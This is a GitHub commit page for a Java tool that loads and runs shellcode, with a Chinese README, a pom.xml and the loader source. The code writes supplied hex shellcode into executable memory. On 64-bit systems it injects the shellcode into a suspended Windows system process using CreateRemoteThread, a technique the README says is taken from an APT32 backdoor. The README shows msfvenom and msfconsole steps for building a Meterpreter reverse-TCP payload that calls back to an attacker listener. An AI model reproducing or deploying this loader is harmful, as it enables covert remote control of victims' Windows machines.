Skip to content

Commit 33512a2

Browse files
yzddmr6yzddmr6
committed
init
0 parents  commit 33512a2

File tree

3 files changed

+230
-0
lines changed

3 files changed

+230
-0
lines changed

‎README.md

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
## Java ShellCode Loader
2+
3+
基于Java实现的ShellCode加载器，兼容32位及64位平台。
4+
5+
核心代码来源于：[JEShell: An OceanLotus (APT32) Backdoor](https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/)
6+
7+
运行环境：Jre >= 1.5
8+
9+
## 编译
10+
11+
```
12+
mvn package -DskipTests
13+
```
14+
15+
## 使用
16+
17+
```
18+
java -jar ShellcodeLoader.jar shellcode_hex
19+
```
20+
21+
## 举例
22+
23+
### kali
24+
25+
生成hex格式的ShellCode
26+
27+
```
28+
┌──(root💀kali)-[~]
29+
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
30+
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
31+
[-] No arch selected, selecting arch: x86 from the payload
32+
No encoder specified, outputting raw payload
33+
Payload size: 354 bytes
34+
Final size of hex file: 708 bytes
35+
fce88f0000006089e531d2648b5xxxx
36+
```
37+
38+
然后开启监听
39+
40+
```
41+
msfconsole
42+
use exploit/multi/handler
43+
set PAYLOAD windows/meterpreter/reverse_tcp
44+
set LHOST 192.168.88.10
45+
set LPORT 4444
46+
exploit -j
47+
```
48+
49+
### 客户端
50+
51+
```
52+
java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5xxxx
53+
```
54+
55+
即可收到反弹的Meterpreter

‎pom.xml

+74
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
3+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>com.yzddmr6</groupId>
8+
<artifactId>ShellcodeLoader</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
11+
<name>com.yzddmr6.ShellcodeLoader</name>
12+
<url>http://www.example.com</url>
13+
14+
<properties>
15+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
16+
<maven.compiler.source>1.5</maven.compiler.source>
17+
<maven.compiler.target>1.5</maven.compiler.target>
18+
</properties>
19+
20+
<dependencies>
21+
<dependency>
22+
<groupId>net.java.dev.jna</groupId>
23+
<artifactId>jna-platform</artifactId>
24+
<version>5.5.0</version>
25+
</dependency>
26+
</dependencies>
27+
28+
<build>
29+
<plugins>
30+
<!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
31+
<plugin>
32+
<artifactId>maven-clean-plugin</artifactId>
33+
<version>3.1.0</version>
34+
</plugin>
35+
<!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
36+
<plugin>
37+
<artifactId>maven-resources-plugin</artifactId>
38+
<version>3.0.2</version>
39+
</plugin>
40+
<plugin>
41+
<artifactId>maven-compiler-plugin</artifactId>
42+
<version>3.8.0</version>
43+
</plugin>
44+
<plugin>
45+
<artifactId>maven-surefire-plugin</artifactId>
46+
<version>2.22.1</version>
47+
</plugin>
48+
49+
<plugin>
50+
<artifactId>maven-assembly-plugin</artifactId>
51+
<configuration>
52+
<archive>
53+
<manifest>
54+
<mainClass>com.yzddmr6.ShellcodeLoader</mainClass>
55+
</manifest>
56+
</archive>
57+
<descriptorRefs>
58+
<descriptorRef>jar-with-dependencies</descriptorRef>
59+
</descriptorRefs>
60+
</configuration>
61+
<executions>
62+
<execution>
63+
<id>make-assemble</id>
64+
<phase>package</phase>
65+
<goals>
66+
<goal>single</goal>
67+
</goals>
68+
</execution>
69+
</executions>
70+
</plugin>
71+
72+
</plugins>
73+
</build>
74+
</project>

‎src/main/java/com/yzddmr6/ShellcodeLoader.java

+101
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
package com.yzddmr6;
2+
3+
import com.sun.jna.Memory;
4+
import com.sun.jna.Native;
5+
import com.sun.jna.Pointer;
6+
import com.sun.jna.platform.win32.Kernel32;
7+
import com.sun.jna.platform.win32.WinBase;
8+
import com.sun.jna.platform.win32.WinDef;
9+
import com.sun.jna.platform.win32.WinNT.HANDLE;
10+
import com.sun.jna.ptr.IntByReference;
11+
import com.sun.jna.win32.StdCallLibrary;
12+
import com.sun.jna.win32.W32APIOptions;
13+
14+
import java.util.Random;
15+
16+
public class ShellcodeLoader {
17+
static Kernel32 kernel32;
18+
static IKernel32 iKernel32;
19+
public static String[] ProcessArray = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", "C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\chcp.com", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", "C:\\Windows\\SysWOW64\\diskcomp.com", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", "C:\\Windows\\SysWOW64\\gpresult.exe"};
20+
21+
static {
22+
kernel32 = Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
23+
iKernel32 = Native.loadLibrary("kernel32", IKernel32.class);
24+
}
25+
26+
27+
public static void main(String[] args) {
28+
ShellcodeLoader jnaLoader = new ShellcodeLoader();
29+
String shellcode = args[0];
30+
System.out.println("\nShellcode: \n" + shellcode);
31+
jnaLoader.loadShellCode(shellcode);
32+
}
33+
34+
public void loadShellCode(String shellcodeHex) {
35+
byte[] shellcode = hexStrToByteArray(shellcodeHex);
36+
int shellcodeSize = shellcode.length;
37+
IntByReference intByReference = new IntByReference(0);
38+
Memory memory = new Memory((long) shellcodeSize);
39+
40+
int j;
41+
for (j = 0; j < shellcodeSize; ++j) {
42+
memory.setByte((long) j, shellcode[j]);
43+
}
44+
45+
if (System.getProperty("sun.arch.data.model").equals("32")) {
46+
Pointer pointer = iKernel32.VirtualAlloc(Pointer.createConstant(0), shellcodeSize, 4096, 64);
47+
kernel32.WriteProcessMemory(kernel32.GetCurrentProcess(), pointer, memory, shellcodeSize, intByReference);
48+
HANDLE hANDLE = iKernel32.CreateThread((Object) null, 0, pointer, 0, 0, (Object) null);
49+
kernel32.WaitForSingleObject(hANDLE, -1);
50+
} else {
51+
j = ProcessArray.length;
52+
byte b = 0;
53+
Random random = new Random();
54+
int k = b + random.nextInt(j);
55+
WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION();
56+
WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO();
57+
sTARTUPINFO.cb = new WinDef.DWORD((long) pROCESS_INFORMATION.size());
58+
if (kernel32.CreateProcess(ProcessArray[k], (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS_INFORMATION)) {
59+
Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64);
60+
kernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference);
61+
HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null);
62+
kernel32.WaitForSingleObject(hANDLE, -1);
63+
}
64+
}
65+
}
66+
67+
public static byte[] hexStrToByteArray(String str) {
68+
if (str == null) {
69+
return null;
70+
} else if (str.length() == 0) {
71+
return new byte[0];
72+
} else {
73+
byte[] byteArray = new byte[str.length() / 2];
74+
75+
for (int i = 0; i < byteArray.length; ++i) {
76+
String subStr = str.substring(2 * i, 2 * i + 2);
77+
byteArray[i] = (byte) Integer.parseInt(subStr, 16);
78+
}
79+
80+
return byteArray;
81+
}
82+
}
83+
84+
interface IKernel32 extends StdCallLibrary {
85+
Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4);
86+
87+
HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6);
88+
89+
Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5);
90+
91+
HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7);
92+
93+
boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5);
94+
95+
int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4);
96+
97+
Pointer OpenProcess(int var1, boolean var2, int var3);
98+
99+
Pointer GetCurrentProcess();
100+
}
101+
}

0 commit comments

Comments
 (0)